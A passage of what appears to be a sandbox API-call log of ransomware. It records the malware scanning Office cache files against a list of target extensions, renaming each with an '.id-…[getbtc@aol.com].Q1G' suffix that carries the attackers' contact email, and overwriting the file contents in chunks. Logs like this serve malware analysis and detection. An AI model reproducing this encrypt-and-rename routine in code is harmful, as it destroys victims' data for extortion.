lpNewFilePointer=0x0) returned 1 [0043.759] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.761] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0043.761] CloseHandle (hObject=0x1f8) returned 1 [0046.445] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0046.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.445] lstrlenW (lpString=".doc") returned 4 [0046.446] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".docx") returned 5 [0046.446] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0046.446] lstrlenW (lpString=".pdf") returned 4 [0046.446] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".xls") returned 4 [0046.446] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".xlsx") returned 5 [0046.446] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0046.446] lstrlenW (lpString=".ppt") returned 4 [0046.446] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString=".zip") returned 4 [0046.446] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".rar") returned 4 [0046.446] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".bz2") returned 4 [0046.446] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.446] lstrlenW (lpString=".7z") returned 3 [0046.446] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString=".dbf") returned 4 [0046.446] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString=".1cd") returned 4 [0046.446] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString=".jpg") returned 4 [0046.446] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.446] lstrlenW (lpString=".doc") returned 4 [0046.446] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.446] lstrlenW (lpString=".docx") returned 5 [0046.446] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0046.446] lstrlenW (lpString=".pdf") returned 4 [0046.447] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString=".xls") returned 4 [0046.447] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString=".xlsx") returned 5 [0046.447] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0046.447] lstrlenW (lpString=".ppt") returned 4 [0046.447] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.447] lstrlenW (lpString=".zip") returned 4 [0046.447] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString=".rar") returned 4 [0046.447] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString=".bz2") returned 4 [0046.447] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.447] lstrlenW (lpString=".7z") returned 3 [0046.447] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.447] lstrlenW (lpString=".dbf") returned 4 [0046.447] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.447] lstrlenW (lpString=".1cd") returned 4 [0046.447] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0046.447] lstrlenW (lpString=".jpg") returned 4 [0046.447] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.447] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0046.447] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0046.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0046.448] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2503680) returned 1 [0046.448] CloseHandle (hObject=0x1f8) returned 1 [0046.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0046.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.448] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.112] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.112] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.112] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.113] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.120] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.120] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.134] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.134] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.134] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.155] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.155] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.439] SetEndOfFile (hFile=0x1f8) returned 1 [0047.439] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0047.443] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.443] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.445] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.445] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.450] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.450] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.453] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0047.453] CloseHandle (hObject=0x1f8) returned 1 [0047.453] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.453] lstrlenW (lpString=".doc") returned 4 [0047.453] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.453] lstrlenW (lpString=".docx") returned 5 [0047.454] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.454] lstrlenW (lpString=".pdf") returned 4 [0047.454] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.454] lstrlenW (lpString=".xls") returned 4 [0047.454] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.454] lstrlenW (lpString=".xlsx") returned 5 [0047.454] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.454] lstrlenW (lpString=".ppt") returned 4 [0047.454] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString=".zip") returned 4 [0047.454] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.454] lstrlenW (lpString=".rar") returned 4 [0047.454] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.454] lstrlenW (lpString=".bz2") returned 4 [0047.454] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.454] lstrlenW (lpString=".7z") returned 3 [0047.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString=".dbf") returned 4 [0047.454] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString=".1cd") returned 4 [0047.454] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString=".jpg") returned 4 [0047.454] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.454] lstrlenW (lpString=".doc") returned 4 [0047.454] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.455] lstrlenW (lpString=".docx") returned 5 [0047.455] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.455] lstrlenW (lpString=".pdf") returned 4 [0047.455] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.455] lstrlenW (lpString=".xls") returned 4 [0047.455] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.455] lstrlenW (lpString=".xlsx") returned 5 [0047.455] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.455] lstrlenW (lpString=".ppt") returned 4 [0047.455] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.455] lstrlenW (lpString=".zip") returned 4 [0047.455] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.455] lstrlenW (lpString=".rar") returned 4 [0047.455] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.455] lstrlenW (lpString=".bz2") returned 4 [0047.455] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.455] lstrlenW (lpString=".7z") returned 3 [0047.455] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.455] lstrlenW (lpString=".dbf") returned 4 [0047.455] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.455] lstrlenW (lpString=".1cd") returned 4 [0047.455] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0047.455] lstrlenW (lpString=".jpg") returned 4 [0047.455] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.455] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0047.455] lstrlenW (lpString="GrooveLR.cab") returned 12 [0047.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.456] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4095519) returned 1 [0047.456] CloseHandle (hObject=0x1f8) returned 1 [0047.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0047.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.456] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0047.457] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.457] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.457] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.457] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.654] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.654] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.657] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.657] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.672] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.672] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0047.812] SetEndOfFile (hFile=0x1f8) returned 1 [0047.812] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fb56f8 [0047.815] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.815] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fb56f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb56f8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.817] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.817] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fb56f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb56f8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.819] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.819] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fb56f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb56f8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.821] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fb56f8 | out: hHeap=0x510000) returned 1 [0047.821] CloseHandle (hObject=0x1f8) returned 1 [0047.821] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.821] lstrlenW (lpString=".doc") returned 4 [0047.821] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.821] lstrlenW (lpString=".docx") returned 5 [0047.821] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.821] lstrlenW (lpString=".pdf") returned 4 [0047.822] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".xls") returned 4 [0047.822] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".xlsx") returned 5 [0047.822] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.822] lstrlenW (lpString=".ppt") returned 4 [0047.822] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString=".zip") returned 4 [0047.822] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".rar") returned 4 [0047.822] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".bz2") returned 4 [0047.822] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.822] lstrlenW (lpString=".7z") returned 3 [0047.822] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString=".dbf") returned 4 [0047.822] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString=".1cd") returned 4 [0047.822] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString=".jpg") returned 4 [0047.822] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.822] lstrlenW (lpString=".doc") returned 4 [0047.822] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".docx") returned 5 [0047.822] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.822] lstrlenW (lpString=".pdf") returned 4 [0047.822] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.822] lstrlenW (lpString=".xls") returned 4 [0047.822] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.823] lstrlenW (lpString=".xlsx") returned 5 [0047.823] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.823] lstrlenW (lpString=".ppt") returned 4 [0047.823] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0047.823] lstrlenW (lpString=".zip") returned 4 [0047.823] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.823] lstrlenW (lpString=".rar") returned 4 [0047.823] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.823] lstrlenW (lpString=".bz2") returned 4 [0047.823] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.823] lstrlenW (lpString=".7z") returned 3 [0047.823] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.823] lstrlenW (lpString="C:\\MSOCache\\All 